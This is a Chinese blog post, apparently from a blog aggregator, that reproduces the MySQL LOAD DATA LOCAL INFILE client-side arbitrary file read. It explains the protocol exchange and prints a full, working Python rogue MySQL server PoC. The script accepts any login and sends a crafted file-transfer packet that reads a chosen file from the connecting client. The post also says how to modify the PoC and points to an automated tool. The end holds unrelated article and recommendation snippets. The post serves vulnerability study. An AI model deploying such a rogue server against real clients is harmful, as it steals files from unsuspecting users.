前言

第一次得知该漏洞后找了一些文章去看。

一开始不明白这个漏洞是怎么来的,只知道通过在服务端运行poc脚本就可以读取客户端的任意文件,直接找到网上准备好的靶机进行测试,发现可行,然后就拿别人的poc试验,屡次失败,一度认为这个安全问题是不是已经被修复了。

查了很多文章,了解完原理之后,重新复现了一次,终于成功了。

准备

  • 客户端:本地kali虚拟机
  • 服务端:阿里云服务器(centos系统) 开放端口:1336
  • 客户端与服务端均有安装mysql

分析原理

这得从mysql的两个操作说起:

load data infile
load data local infile

前者用于从服务端文件导入数据到数据库,后者用于从本地客户端文件导入数据到数据库。

举例:

首先连接服务端数据库:

mysql -h (服务端ip) -u root --enable-local-infile -P1336   //指定端口

输入密码成功连接,在mysql库中创建一个名为test的表,列名分别为username和passwd:

MySQL[mysql]>create table test(
>username varchar(10),
>passwd varchar(10)
>);

假设在客户端有一个test.txt文件,路径为/var/lib/mysql-files/test.txt,内容为:

kali-clien:Hed9eh0g

使用指令:

MySQL[mysql]>load data local infile "/var/lib/mysql-files/test.txt" into table test fields terminated by ':';

它的意思是导入test.txt的内容到test表中,且按冒号进行分割内容并存储到列名。

然后再查询test表可以发现成功导入test.txt文件:

接下来我们要利用wireshake分析从远程连接服务端数据库到导入本地文件这个过程中,服务端和客户端大致交流了什么。

首先打开wireshake,监听3306端口,然后再重新进行一次从连接服务端数据库到导入本地文件的操作。

可以得到相对应的流量信息,分析一共有几步:

1、 greeting包:

2、 登录请求包:

3、 初始化的一些查询,比如select @@version_comment limit 1、show databases、use database之类的:

4、 找到关于执行 load data local infile语句的包。

  • 首先是客户端发起的Request Query,其中可以看到是我们请求导入test.txt时的指令:

  • 紧接着,服务端发起一个包Response TABULAR,其中包含test.txt的路径:

  • 然后客户端才开始发送/var/lib/mysql-files/test.txt文件的内容:

以上就是客户端请求服务端导入本地文件的过程

如果客户端要用load data local infile 将文件插入表中的话,客户端会先发一个请求包,这个请求包里包含了要插入的文件的路径。而服务器接下来返回一个Response TABULAR包,里面包含文件路径,然后客户端得到了许可才开始传输文件。

此时如果服务器返回的Response TABULAR包里的文件路径不是客户端发出的请求包的路径的话,而是服务器恶意构造的,在其返回的Response TABULAR包里更改文件路径,就可以实现客户端任意文件读取。

漏洞验证

首先必须伪造出一个服务端的mysql的请求,必须能够发送下列几个包:

  • 向mysql client发送Server greeting包
  • 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)
  • 等待 Client 端发送一个Query Package
  • 回复一个file transfer请求

这是老外编写的POC:

#coding=utf-8
#mysql_server.py #!/usr/bin/python
#coding: utf8
import socket # linux :
filestring = "/root/桌面/test.txt" #这一行并没有什么卵用,估计是记录一下读的哪个文件
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts" HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 1336 # 改下端口
BUFFER_SIZE = 1024 # 原作者的greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#1 Greeting
greeting = "\x4a\x00\x00\x00\x0a\x35\x2e\x36\x2e\x34\x37\x00\xda\x03\x00\x00\x3e\x54\x6c\x44\x4e\x3b\x79\x70\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x5f\x7d\x77\x5d\x4c\x44\x52\x4d\x6a\x4f\x2c\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" #2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" #3 Payload
payloadlen = "\x1e" #原payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x6d\x79\x73\x71\x6c\x2d\x66\x69\x6c\x65\x73\x2f\x74\x65\x73\x74\x2e\x74\x78\x74" #原payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
#/etc/hosts
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1) while True:
conn, addr = s.accept() print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()

这个POC必须先经过修改才能实现,这就是我当初直接用会失败的原因。

修改的地方包括:

  • PORT参数,即服务器开放的端口
  • greeting参数,也即greeting包所对应的转义字符串:

  • File Transfer包(也即payload参数),结合要访问的文件路径进行修改:

其中第一部分payloadlen对应第一个十六进制"\x1e",第二部分padding对应第二第三个十六进制"\x00\x00",剩余的十六进制构成payload第三部分。

修改完成,在服务端运行该脚本,客户端连接服务端mysql,在客户端没有进行任何操作请求的情况下,服务端即可读取到指定路径的test.txt内容:

POC优化

刚才的POC使用起来还是太麻烦了,总是要去修改对应的参数才能实现读取,GitHub上有一个相对自动化的POC:传送门

使用时只需要修改服务器开放的端口,和想要读取的文件路径,脚本会根据流量包的规则自动转化为符合条件的十六进制字符串,算是很方便了:

最终读取的信息会保存在同目录下的mysql.log文件下:

mysql任意文件读取漏洞复现的更多相关文章

  1. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  2. 24.Windows任意文件读取漏洞

    漏洞概述: 近日,国外安全研究员SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC.这是2018年8月开始该研究员公布的第三个windows 0 day漏洞 ...

  3. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  4. Discuz!X 3.4 前台任意文件删除漏洞复现

    Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/artic ...

  5. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  6. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  7. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

  9. Resin任意文件读取漏洞

    Resin是什么 虽然看不上但是还是原因下百度百科: Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快.Resin本身包含了一个支持HTTP/1.1的 ...

随机推荐

  1. 持续部署入门:基于 Kubernetes 实现滚动发布

    前言 软件世界比以往任何时候都更快.为了保持竞争力,需要尽快推出新的软件版本,而不会中断活跃用户访问,影响用户体验.越来越多企业已将其应用迁移到 Kubernetes. 在 Kubernetes 中有 ...

  2. javascript面试题(二)

    24. function foo() { } var oldName = foo.name; foo.name = "bar"; [oldName, foo.name] // [f ...

  3. 计算Pi

    程序: package pai; import java.math.BigDecimal; public class ComplexPi { BigDecimal result; public Com ...

  4. MySQL互联网业务使用建议

    一.基础规范 表存储引擎必须使用InnoDB 表字符集默认使用utf8,必要时候使用utf8mb4 解读: (1)通用,无乱码风险,汉字3字节,英文1字节 (2)utf8mb4是utf8的超集,有存储 ...

  5. Visual Studio Code 下载安装

    1.官网下载:https://code.visualstudio.com/ 2.下载完成后,点开如果是黑屏的话,右键勾上.

  6. QEMU 虚拟机网卡探究

    前述 我们知道无论是VMware,Virtual Box还是HyperV 都支持 NAT/Bridge/Host-Only 三种上网方式.其中 NAT 是我最常用,最熟悉的. 需要说明的是,无论是NA ...

  7. [LeetCode]55. 跳跃游戏(贪心)

    题目 给定一个非负整数数组,你最初位于数组的第一个位置. 数组中的每个元素代表你在该位置可以跳跃的最大长度. 判断你是否能够到达最后一个位置. 示例 1: 输入: [2,3,1,1,4] 输出: tr ...

  8. [程序员代码面试指南]链表问题-将单链表的每k个节点之间逆序

    题目描述 给定一个单链表的表头节点head,实现一个调整单链表的函数,是的每k个节点之间逆序,如果最后不够k个节点一组,则不调整最后几个节点. 题解 内部函数reverse实现链表beg到end的翻转 ...

  9. git 修改已提交了的备注信息的方法

    git 修改已提交了的备注信息的方法: 1.当我们已通过 git commit -m '已提交的最新的备注' 命令将代码提交到了缓存区,或者进一步执行了 git push origin master ...

  10. web网站——理论01

    LAMP的架构以及通信过程 LAMP的架构: LAMP是一个多C/S架构的平台,最初级为web客户端基于TCP/IP通过http协议发起传送,这个请求可能是动态的,也可能是静态的. 所以web服务器通 ...